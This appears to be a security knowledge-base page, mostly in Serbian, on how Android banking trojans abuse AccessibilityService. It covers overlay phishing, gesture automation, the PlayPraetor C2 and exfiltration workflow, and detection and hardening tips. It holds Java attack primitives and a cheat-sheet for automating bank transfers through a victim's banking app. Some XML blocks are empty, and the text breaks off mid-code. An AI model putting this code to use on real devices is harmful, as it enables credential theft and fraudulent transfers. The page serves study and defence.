# Zloupotreba Accessibility servisa na Androidu {{#include ../../banners/hacktricks-training.md}} ## Pregled `AccessibilityService` je kreiran da pomogne korisnicima sa invaliditetom da koriste Android uređaje. Nažalost, iste **moćne automation API-je** (globalna navigacija, unos teksta, slanje gestova, preklapajući prozori…) mogu biti zlonamerno iskorišćene od strane malware-a da se ostvari **potpuna daljinska kontrola** nad telefonom _bez root privilegija_. Savremeni Android bankarski Trojans i Remote-Access-Trojans (RATs) kao što su **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i mnogi drugi slede isti recept: 1. Social-engineer-ovati žrtvu da omogući lažni accessibility service (dozvola *BIND_ACCESSIBILITY_SERVICE* smatra se "high-risk" i zahteva eksplicitnu korisničku akciju). 2. Iskoristiti servis da * presreće svaki UI događaj i tekst koji se pojavi na ekranu, * ubacuje sintetičke geste (`dispatchGesture`) i globalne akcije (`performGlobalAction`) za automatizaciju bilo kog zadatka koji operator želi, * crta full-screen overlay-e preko legitimnih aplikacija koristeći tip prozora **TYPE_ACCESSIBILITY_OVERLAY** (bez `SYSTEM_ALERT_WINDOW` prompta!), * tiho odobrava dodatne runtime dozvole klikom na sistemske dijaloge u ime žrtve. 3. Eksfiltrira podatke ili izvodi **On-Device-Fraud (ODF)** u realnom vremenu dok korisnik gleda potpuno normalan ekran. --- ## Zahtevanje dozvole ```xml ``` Prateći XML definiše kako će lažni dijalog izgledati: ```xml ``` --- ## Udaljene primitive za automatizaciju korisničkog interfejsa ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change } // Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); } // Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } } ``` With only these two APIs an attacker can: * Otključati ekran, otvoriti bankarsku aplikaciju, navigirati kroz njen UI stablo i poslati nalog za prenos. * Prihvatiti svaki dijalog za dozvole koji se pojavi. * Instalirati/azurirati dodatne APK-ove putem Play Store intent-a. --- ## Abuse patterns ### 1. Overlay Phishing (Credential Harvesting) Transparentan ili neprovidan `WebView` se dodaje u menadžer prozora: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` Žrtva unosi kredencijale u lažni obrazac dok pozadinska aplikacija prima iste geste – nikakav sumnjiv "draw over other apps" prompt se nikada ne prikazuje. > Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page. ### 2. On-Device Fraud automation Malver familije kao što je **PlayPraetor** održava persistentan WebSocket kanal gde operator može izdavati high-level komande (`init`, `update`, `alert_arr`, `report_list`, …). Servis prevodi te komande u gore navedene low-level geste, ostvarujući real-time neautorizovane transakcije koje lako zaobilaze višefaktorsku autentifikaciju vezanu za baš taj uređaj. ### 3. Screen streaming & monitoring Kombinovanjem **MediaProjection API** sa RTMP client bibliotekom, RAT može emitiratii live framebuffer na `rtmp://:1935/live/`, dajući napadaču potpunu situacionu svest dok Accessibility engine upravlja UI-jem. --- ## PlayPraetor – command & control workflow 1. **HTTP(S) heartbeat** – iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2. 2. **WebSocket (port 8282)** – bidirectional JSON commands: * `update` – push new conf/APKs * `alert_arr` – configure overlay templates * `report_list` – send list of targeted package names * `heartbeat_web` – keep-alive 3. **RTMP (port 1935)** – live screen/video streaming. 4. **REST exfiltration** – * `/app/saveDevice` (fingerprint) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` * `/app/saveCardPwd` (bank creds) The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions. --- ## Otkrivanje malicioznih accessibility servisa * `adb shell settings get secure enabled_accessibility_services` * Settings → Accessibility → *Downloaded services* – potražite aplikacije koje **nisu** iz Google Play. * MDM / EMM rešenja mogu nametnuti `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) da blokiraju sideloaded servise. * Analizirajte pokrenute servise: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- ## Preporuke za hardening za developere aplikacija * Označite osetljive prikaze atributom `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). * Kombinujte `setFilterTouchesWhenObscured(true)` sa `FLAG_SECURE` da sprečite tap/overlay hijacking. * Otkrivajte overlay-e proverom `WindowManager.getDefaultDisplay().getFlags()` ili koristeći `ViewRootImpl` API. * Odbijajte rad kada `Settings.canDrawOverlays()` **ili** nepouzdani Accessibility servis bude aktivan. --- ## ATS automation cheat-sheet (Accessibility-driven) Malver može potpuno automatizovati bankarsku aplikaciju koristeći samo Accessibility APIs. Generičke primitive: ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ``` Primer toka (češki → engleske oznake): - "Nová platba" (Nova uplata) → klik - "Zadat platbu" (Unesi plaćanje) → klik - "Nový příjemce" (Novi primalac) → klik - "Domácí číslo účtu" (Domaći broj računa) → postavi fokus i `ACTION_SET_TEXT` - "Další" (Dalje) → klik → … "Zaplatit" (Plati) → klik → unesi PIN Fallback: fiksne koordinate sa `dispatchGesture` kada pretraga teksta zakaže zbog prilagođenih widgeta. Takođe primećeno: predkoraci za `check_limit` i `limit` navigacijom do limits UI i povećanjem dnevnih limita pre transfera. ## Tekstualno pseudo-screen streaming Za kontrolu sa malim kašnjenjem, umesto potpunog video streaminga, ispiši tekstualnu reprezentaciju trenutnog UI stabla i ponavljano je šalji na C2. ```java private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ if (n==null) return; Rect b = new Rect(); n.getBoundsInScreen(b); CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); sb.append(indent).append("[").append(cls).append("] ") .append(txt==null?"":txt).append(" ") .append(b.toShortString()).append("\n"); for (int i=0;i